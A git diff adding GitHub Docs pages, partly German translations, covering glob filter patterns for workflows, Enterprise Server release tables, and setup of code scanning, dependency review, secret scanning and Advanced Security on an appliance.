+| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`<br/><br/>`releases` |
+| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`<br/><br/>`every/tag` |
+| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature` |
+| `v2*` | Matches branch and tag names that start with `v2`. | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9` |
+| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2. | `v1.10.1`<br/><br/>`v2.0.0` |
+
+### Patterns to match file paths
+
+Path patterns must match the whole path, and start from the repository's root.
+
+| Pattern | Description of matches | Example matches |
+|---------|------------------------|-----------------|
+| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`<br/><br/>`server.rb` |
+| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`<br/><br/>`page.jsx` |
+| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` |
+| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`<br/><br/>`index.js`
+| `'**.js'` | Matches all `.js` files in the repository. | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js` |
+| `docs/*`  | All files within the root of the `docs` directory, at the root of the repository. | `docs/README.md`<br/><br/>`docs/file.txt` |
+| `docs/**` | Any files in the `/docs` directory at the root of the repository. | `docs/README.md`<br/><br/>`docs/mona/octocat.txt` |
+| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`
+| `'**/docs/**'`   | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`
+| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`<br/><br/>`js/README.md`
+| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`
+| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`<br/><br/>`path/their-post.md` |
+| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql` |
+| `*.md`<br/><br/>`!README.md` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
+| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`|
diff --git a/translations/de-DE/content/admin/all-releases.md b/translations/de-DE/content/admin/all-releases.md
new file mode 100644
index 0000000000..d708478cfb
--- /dev/null
+++ b/translations/de-DE/content/admin/all-releases.md
@@ -0,0 +1,46 @@
+---
+title: GitHub Enterprise Server-Releases
+intro: '{% data variables.product.company_short %} veröffentlicht regelmäßig neue Versionen von {% data variables.product.product_name %}. Du kannst die unterstützten Versionen überprüfen, das Datum der Veralterung einsehen und die Dokumentation für das von dir bereitgestellte Release durchsuchen.'
+allowTitleToDifferFromFilename: true
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+  - Upgrades
+shortTitle: Releases
+ms.openlocfilehash: 85b0848f77b12920ba853bc674327392b6a89389
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147062906'
+---
+## Informationen zu Releases von {% data variables.product.product_name %}
+
+{% data reusables.enterprise.constantly-improving %} {% data variables.product.company_short %} unterstützt die vier neuesten Featurereleases. Weitere Informationen findest du unter [Informationen zu Upgrades auf neue Releases](/admin/overview/about-upgrades-to-new-releases).
+
+Informationen zu den Neuigkeiten in den einzelnen Releases findest du in den [Versionshinweisen](/admin/release-notes). Die Administrator- und Benutzerdokumentation für alle Releases kannst du hier auf {% data variables.product.prodname_docs %} einsehen. Stelle beim Lesen der Dokumentation sicher, dass du die deinem Produkt entsprechende Version auswählst. Weitere Informationen findest du unter [Informationen zu Versionen von {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs).
+
+## Derzeit unterstützte Releases
+
+{% data variables.product.company_short %} unterstützt die folgenden Releases von {% data variables.product.product_name %}. Weitere Informationen zum neuesten Release findest du auf der Website zu [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
+
+| Version | Release | Eingestellte Unterstützung | Versionshinweise | Dokumentation |
+| :- | :- | :- | :- | :- |
+{%- for version in enterpriseServerReleases.supported %} | {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [Versionshinweise zu {{version}}](/enterprise-server@{{version}}/admin/release-notes) | [Dokumentation zu {{version}}](/enterprise-server@{{version}}) | {%- endfor %}
+
+## Veraltete Releases
+
+{% data variables.product.company_short %} stellt Dokumentationen für veraltete Versionen bereit, die Dokumentation wird jedoch nicht gepflegt und aktualisiert.
+
+| Version | Release | Eingestellte Unterstützung | Versionshinweise | Dokumentation |
+| :- | :- | :- | :- | :- |
+{%- for version in enterpriseServerReleases.deprecatedReleasesWithNewFormat %} | {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [Versionshinweise zu {{version}}](/enterprise-server@{{version}}/admin/release-notes) | [Dokumentation zu {{version}}](/enterprise-server@{{version}}) | {%- endfor %} {%- for version in enterpriseServerReleases.deprecatedReleasesWithLegacyFormat %} | {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [Versionshinweise zu {{version}}](https://enterprise.github.com/releases/series/{{version}}) | [Dokumentation zu {{version}}](/enterprise/{{version}}) | {%- endfor %}
+
+### Veraltete Entwicklerdokumentation
+
+{% data variables.product.company_short %} hat Entwicklerdokumentation für {% data variables.product.product_name %} bis zum Release 2.17 auf einer separaten Website gehostet. {% data variables.product.company_short %} stellt weiterhin Entwicklerdokumentation für Version 2.16 und ältere Versionen bereit, die Dokumentation wird jedoch nicht gepflegt und aktualisiert.
+
+| Version | Release | Eingestellte Unterstützung | Entwicklerdokumentation |
+| :- | :- | :- | :- |
+{%- for version in enterpriseServerReleases.deprecatedReleasesOnDeveloperSite %} | {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [Entwicklerdokumentation zu {{version}}](https://developer.github.com/enterprise/{{version}}) | {%- endfor %}
diff --git a/translations/de-DE/content/admin/code-security/index.md b/translations/de-DE/content/admin/code-security/index.md
new file mode 100644
index 0000000000..3f97dd95c1
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/index.md
@@ -0,0 +1,21 @@
+---
+title: Verwalten der Codesicherheit für dein Unternehmen
+shortTitle: Manage code security
+intro: 'Du kannst Sicherheit in den Workflow deiner Entwickler mit Features integrieren, die Geheimnisse und Sicherheitsrisiken aus deiner Codebasis heraushalten und deine Softwarelieferkette aufrechterhalten.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /managing-github-advanced-security-for-your-enterprise
+  - /managing-supply-chain-security-for-your-enterprise
+ms.openlocfilehash: 947ce1b6bd892ba93f57d38b0e8face9606124a5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147145291'
+---
+
diff --git a/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md
new file mode 100644
index 0000000000..047fc0e1b7
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md
@@ -0,0 +1,97 @@
+---
+title: Configuring code scanning for your appliance
+shortTitle: Configuring code scanning
+intro: 'You can enable, configure and disable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %}. {% data variables.product.prodname_code_scanning_capc %} allows users to scan code for vulnerabilities and errors.'
+product: '{% data reusables.gated-features.code-scanning %}'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /enterprise/admin/configuration/configuring-code-scanning-for-your-appliance
+  - /admin/configuration/configuring-code-scanning-for-your-appliance
+  - /admin/advanced-security/configuring-code-scanning-for-your-appliance
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Enterprise
+  - Security
+---
+
+{% data reusables.code-scanning.beta %}
+
+## About {% data variables.product.prodname_code_scanning %}
+
+{% data reusables.code-scanning.about-code-scanning %}
+
+You can configure {% data variables.product.prodname_code_scanning %} to run {% data variables.product.prodname_codeql %} analysis and third-party analysis. {% data variables.product.prodname_code_scanning_capc %} also supports running analysis natively using {% data variables.product.prodname_actions %} or externally using existing CI/CD infrastructure. The table below summarizes all the options available to users when you configure {% data variables.location.product_location %} to allow {% data variables.product.prodname_code_scanning %} using actions.
+
+{% data reusables.code-scanning.enabling-options %}
+
+## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
+
+{% data reusables.advanced-security.check-for-ghas-license %}
+
+## Prerequisites for {% data variables.product.prodname_code_scanning %}
+
+- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
+
+- {% data variables.product.prodname_code_scanning_capc %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
+
+- A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in.
+
+## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %}
+
+### Setting up a self-hosted runner
+
+{% data variables.product.prodname_ghe_server %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+
+You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions.
+
+{% ifversion ghes > 3.7 or ghae > 3.7 %}
+{% note %}
+
+If you use {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} to analyze code written in Python in your enterprise, you must make sure that your self-hosted runner has Python 3 installed.
+
+{% endnote %}
+{% endif %}
+
+### Provisioning the actions for {% data variables.product.prodname_code_scanning %}
+
+{% ifversion ghes %}
+If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance.
+
+The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If both {% data variables.product.prodname_ghe_server %} {{ allVersions[currentVersion].currentRelease }} and your {% data variables.product.prodname_actions %} runner have access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} {% data variables.product.codeql_cli_ghes_recommended_version %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the latest released version of the {% data variables.product.prodname_codeql %} analysis bundle available locally. For more information, see "[Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access)" below.
+
+You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see "[Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" below.
+
+### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access
+If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/).
+
+If you set up the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}.
+
+{% endif %}
+
+### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}
+1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)."
+2. You'll also need to enable {% data variables.product.prodname_actions %} for {% data variables.location.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)."
+3. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)."
+4. Add a self-hosted runner to your repository, organization, or enterprise account. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+
+## Running code scanning using the {% data variables.product.prodname_codeql_cli %}
+
+If you don't want to use {% data variables.product.prodname_actions %}, you should run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %}. 
+
+The {% data variables.product.prodname_codeql_cli %} is a command-line tool that you use to analyze codebases on any machine, including a third-party CI/CD system. For more information, see "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+
+{% ifversion codeql-runner-supported %}
+
+## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}
+
+{% data reusables.code-scanning.deprecation-codeql-runner %}
+
+If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}. 
+
+The {% data variables.code-scanning.codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)."
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md
new file mode 100644
index 0000000000..8d0a3ba93f
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md
@@ -0,0 +1,55 @@
+---
+title: Konfigurieren der Abhängigkeitsüberprüfung für Ihre Appliance
+shortTitle: Configuring dependency review
+intro: 'Zum besseren Verständnis von Abhängigkeitsänderungen beim Überprüfen von Pull Requests kannst du die Abhängigkeitsüberprüfung für {% data variables.location.product_location %} aktivieren, konfigurieren und deaktivieren.'
+product: '{% data reusables.gated-features.dependency-review %}'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: dependency-review-action-ghes
+type: how_to
+topics:
+  - Advanced Security
+  - Enterprise
+  - Dependency review
+  - Security
+ms.openlocfilehash: 613f2f2bd69a90027533ff063ea0f0a44bc1f5d2
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107757'
+---
+## Informationen zur Abhängigkeitsüberprüfung
+
+{% data reusables.dependency-review.feature-overview %}  
+
+Einige zusätzliche Features, wie z. B. Lizenzüberprüfungen, das Blockieren von Pull Requests und die CI/CD-Integration, stehen mit der [Aktion zum Überprüfen von Abhängigkeiten](https://github.com/actions/dependency-review-action) zur Verfügung.
+
+## Überprüfen, ob deine Lizenz {% data variables.product.prodname_GH_advanced_security %} umfasst
+
+{% data reusables.advanced-security.check-for-ghas-license %}
+
+## Voraussetzungen für die Abhängigkeitsüberprüfung
+
+- Eine Lizenz für {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (siehe [Informationen zur Abrechnung für {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)).{% endif %}
+
+- Das für die Instanz aktivierte Abhängigkeitsdiagramm. Standortadministratoren können das Abhängigkeitsdiagramm über die Verwaltungskonsole oder die administrative Shell aktivieren (siehe [Aktivieren des Abhängigkeitsdiagramms für dein Unternehmen](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)).
+  
+- {% data variables.product.prodname_github_connect %} muss zum Herunterladen und Synchronisieren von Sicherheitsrisiken aus der {% data variables.product.prodname_advisory_database %} aktiviert sein. Diese Konfiguration erfolgt üblicherweise im Rahmen der Einrichtung von {% data variables.product.prodname_dependabot %} (siehe [Aktivieren von Dependabot für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)).
+
+## Aktivieren und Deaktivieren der Abhängigkeitsüberprüfung
+
+Um die Abhängigkeitsüberprüfung zu aktivieren oder zu deaktivieren, musst du das Abhängigkeitsdiagramm für deine Instanz aktivieren oder deaktivieren.
+
+Weitere Informationen findest du unter [Aktivieren des Abhängigkeitsdiagramms für dein Unternehmen](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise).
+
+## Durchführen der Abhängigkeitsüberprüfung mit {% data variables.product.prodname_actions %}
+
+{% data reusables.dependency-review.dependency-review-action-beta-note %}
+
+Die Aktion zum Überprüfen von Abhängigkeiten ist in deiner Installation von {% data variables.product.prodname_ghe_server %} enthalten. Sie ist für alle Repositorys verfügbar, bei denen {% data variables.product.prodname_GH_advanced_security %} und das Abhängigkeitsdiagramm aktiviert sind.
+
+{% data reusables.dependency-review.dependency-review-action-overview %}  
+
+Benutzer führen die Aktion zur Abhängigkeitsüberprüfung mit einem {% data variables.product.prodname_actions %}-Workflow aus. Falls du noch keine Runner für {% data variables.product.prodname_actions %} eingerichtet hast, musst du dies nachholen, damit die Benutzer Workflows ausführen können. Du kannst selbstgehostete Runner auf Repository-, Organisations- oder Unternehmenskontoebene bereitstellen. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners) und [Hinzufügen selbstgehosteter Runner](/actions/hosting-your-own-runners/about-self-hosted-runners).
+
diff --git a/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md
new file mode 100644
index 0000000000..291f6f4906
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md
@@ -0,0 +1,73 @@
+---
+title: Configuring secret scanning for your appliance
+shortTitle: Configuring secret scanning
+intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.'
+product: '{% data reusables.gated-features.secret-scanning %}'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /admin/configuration/configuring-secret-scanning-for-your-appliance
+  - /admin/advanced-security/configuring-secret-scanning-for-your-appliance
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Enterprise
+  - Secret scanning
+  - Security
+---
+
+{% data reusables.secret-scanning.beta %}
+
+## About {% data variables.product.prodname_secret_scanning %}
+
+If someone checks a secret with a known pattern into a repository, {% data variables.product.prodname_secret_scanning %} catches the secret as it's checked in, and helps you mitigate the impact of the leak. Repository administrators are notified about any commit that contains a secret, and they can quickly view all detected secrets in the Security tab for the repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning)."
+
+## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
+
+{% data reusables.advanced-security.check-for-ghas-license %}
+
+## Prerequisites for {% data variables.product.prodname_secret_scanning %}
+
+- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.location.product_location %}.
+
+- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
+
+- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
+
+### Checking support for the SSSE3 flag on your vCPUs
+
+The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance.
+
+1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
+2. Enter the following command:
+
+   ```shell
+   grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $?
+   ```
+
+   If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below.
+
+   If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs.
+
+## Enabling {% data variables.product.prodname_secret_scanning %}
+
+{% data reusables.enterprise_management_console.enable-disable-security-features %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.advanced-security-tab %}
+1. Under "Security," click **{% data variables.product.prodname_secret_scanning_caps %}**.
+![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Disabling {% data variables.product.prodname_secret_scanning %}
+
+{% data reusables.enterprise_management_console.enable-disable-security-features %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.advanced-security-tab %}
+1. Under "Security," unselect **{% data variables.product.prodname_secret_scanning_caps %}**.
+![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png)
+{% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md
new file mode 100644
index 0000000000..73832aee06
--- /dev/null
+++ b/translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md
@@ -0,0 +1,117 @@
+---
+title: Enabling GitHub Advanced Security for your enterprise
+shortTitle: Enabling GitHub Advanced Security
+intro: 'You can configure {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code.'
+product: '{% data reusables.gated-features.ghas %}'
+redirect_from:
+  - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Enterprise
+  - Secret scanning
+  - Security
+---
+
+## About enabling {% data variables.product.prodname_GH_advanced_security %}
+
+{% data reusables.advanced-security.ghas-helps-developers %}
+
+{% ifversion ghes %}
+When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."
+{% else %}
+When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. 
+{% endif %}
+
+{% ifversion ghes %}
+For guidance on a phased deployment of GitHub Advanced Security, see "[Introduction to adopting GitHub Advanced Security at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)."
+{% endif %}
+
+## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
+
+{% ifversion ghes %}
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage.
+![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png)
+{% endif %}
+
+## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %}
+
+1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %}
+2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)."
+3. Upload the new license file to {% data variables.location.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %}
+4. Review the prerequisites for the features you plan to enable.
+
+    - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)."
+    - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %}
+    - {% data variables.product.prodname_dependabot %}, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." 
+
+## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features
+
+{% data reusables.enterprise_management_console.enable-disable-security-features %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %}
+1. Under "Security," select the features that you want to enable and deselect any features you want to disable.
+{% ifversion ghes %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %}
+1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**.
+![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %}
+{% data reusables.enterprise_management_console.save-settings %}
+
+When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)."
+
+## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH)
+
+You can enable or disable features programmatically on {% data variables.location.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)."
+
